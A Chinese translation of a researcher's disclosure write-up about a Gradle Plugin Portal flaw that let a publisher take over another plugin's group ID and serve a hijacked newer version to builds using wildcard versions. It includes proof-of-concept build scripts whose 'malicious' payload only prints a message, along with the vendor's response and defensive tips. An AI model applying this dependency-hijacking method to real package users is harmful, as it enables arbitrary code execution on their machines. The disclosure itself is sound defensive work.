dependencies { * In practice, this attack could have been leveraged against any plugin on * the Gradle plugin portal. * I created my own plugin for testing purposes. classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+") apply(plugin = "org.jlleitschuh.testing.security-plugin")

此插件的组ID是 org.jlleitschuh.testing.security (开头的 gradle.plugin 是由Gradle添加的)。
由于Gradle Plugin Portal中存在漏洞,攻击者可以将其插件的组ID设置成与网站上已有的任何插件的组ID相同,并在他们不应拥有的组下发布恶意插件。攻击者无法覆盖现有版本的artifacts,但他们可以发布更新版本。当用户使用通配版本作为依赖项时,那么当下次用户运行artifacts时,Gradle将下载最新版本的插件(现在是恶意的),然后将对插入用户进行溢出攻击。

由于spotbugs团队还没有为他们的插件发布一个补丁来支持Gradle 4.10(漏洞版本),因此我发现了这个问题。为了使用4.10,我更新了我的内部版本,但这个问题阻止了我的更新。由于我已经拥有其他插件的Gradle Plugin Portal帐户,因此我决定在不同的artifacts下发布spotbug的指定版本。
我fork了其repository,并对 build.gradle 进行了足够数量的更改,这样我就可以成功地运行 publishPlugins 了。
发布的结果可以在这里找到( https://plugins.gradle.org/plugin/com.github.spotbugs.temporary ) ,此artifacts已被Gradle团队成员转移了,以防止它与将来更新版本的spotbug发生冲突。

由Gradle Plugin Portal提供的,关于如何应用此新发布的插件的示例代码段如下所示:

buildscript {
  repositories {
    maven {
      url "https://plugins.gradle.org/m2/"
  dependencies {
    classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4"
apply plugin: "com.github.spotbugs.temporary"

引起我注意的是,spotbugs插件竟与我自己的完全相同。

官方版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.2
我的版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4

刚意识到这一点,我就立刻向Gradle社区Slack频道的Gradle Plugin Portal主管Eric Wendelin提交了这个漏洞。然而,当时我还没有完全明白其中的意义。

这个时候已经是凌晨1点了,但我怎么能现在停下呢?我现在必须要做点什么!

以下测试使用的是由我注册的两个完全不同的Gradle Plugin Portal帐户完成的。

我创建了以下插件来实现POC,可以将这个插件看作是任意一个作者在互联网上发布的一个插件,这个插件可为Gradle构建添加一些方便的安全功能。

plugins {
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
group = "org.jlleitschuh.testing.security"
version = "0.4.0"
dependencies {
    compileOnly(gradleApi())
gradlePlugin {
    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
pluginBundle {
    description = "Useless security testing."
    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")
    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            displayName = "Security testing plugin"
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin");

用户认为这个插件非常有用,但他们不希望每次都要不停地更新版本,所以他们想使用这样的通配版本。

buildscript {
    repositories {
        gradlePluginPortal()
    dependencies {
         * In practice, this attack could have been leveraged against any plugin on 
         * the Gradle plugin portal.
         * I created my own plugin for testing purposes.
        classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
apply(plugin = "org.jlleitschuh.testing.security-plugin")

他们将从Gradle Plugin portal中获取的版本是0.4.0版本。如果他们要运行 ./gradlew,他们会在控制台中看到以下内容。

./gradlew
> Configure project :
A security plugin

现在,攻击者出现了,并且当他看到您在您的artifacts中使用了通配版本,或许他们会想试图劫持一些插件并看看将发生什么。利用这一漏洞,他们可以将自己的代码添加到插件并且发布,以下是攻击者会将代码更改的内容。

plugins {
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
group = "org.jlleitschuh.testing.security"
version = "0.4.1"
dependencies {
    compileOnly(gradleApi())
gradlePlugin {
    (plugins) {
        "securityPlugin" {
             * This is the plugin that the user is already using.
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        "securityPluginTemp" {
             * This is just an unused plugin here to make the com.gradle.plugin-publish
             * and java-gradle-plugin happy as well as the Gradle Plugin Portal when
             * we go to upload our malicious plugin.
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
pluginBundle {
    description = "Useless security testing."
    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")
    (plugins) {
        "securityPlugin" {
             * Note how I'm declaring two plugins above but only publishing one 
             * plugin here.
             * This is because the Gradle Plugin Portal used to only validate that
             * the id of the plugin portal was not taken, but not the group.
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            displayName = "Security testing plugin"
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin. I'm malicious!");

攻击者将他们的插件版本发布到Gradle插件网站。现在他们所要做的就是等待。

那么下一次我们的用户出现并运行./gradlew时,他们就会收到这个。

./gradlew
Download https://plugins.gradle.org/m2/gradle/plugin/org/jlleitschuh/testing/security/gradle-testing/0.4.1/gradle-testing-0.4.1.pom
> Configure project :
A security plugin. I'm malicious!

用户成功被攻击者pwn了。

Gradle团队的回应

Gradle团队很快回复了我提交的漏洞。他们还告诉我,谷歌团队在我发现它的一周之前,就已经意识到这个漏洞,但是,Google报告并没有提到,并且Google提供的版本只要求用户更改应用于以下内容的插件。

apply(plugin = "org.jlleitschuh.testing.security-plugin.tmp")

尽管未提及此漏洞,但此漏洞的修复程序作为Gradle Plugin Portal审批策略更新的一部分发送到了Gradle Plugin Portal。
当被问及是否进行了审计以确保此安全漏洞不会被恶意利用时,Eric Wendelin回答“是的,同时我们也并没有发现恶意行为存在的证据”。

像Gradle Plugin Portal,Maven Central Repository以及JFrog Artifactory这样的artifacts服务器都是攻击者的理想目标。如果攻击者可以劫持artifacts,他们可以在全球数百甚至数千台机器上执行任意代码。

如何保护自己

虽然这些提示不能保护您免受此类攻击,但如果不执行这些操作,就可能会使您或您的账户易受此类攻击。

1.始终通过HTTPS而不是通过HTTP来下载您的artifacts。
2.不要用通配版本来构建依赖项。
3.始终使用受信任的artifacts服务器,如Maven Central和Gradle Plugin Portal等。
4.使用进行过安全审计的公司的artifacts镜像。

原文链接:https://medium.com/bugbountywriteup/leveraging-gradle-plugin-wildcard-versions-for-remote-code-execution-24e15112c432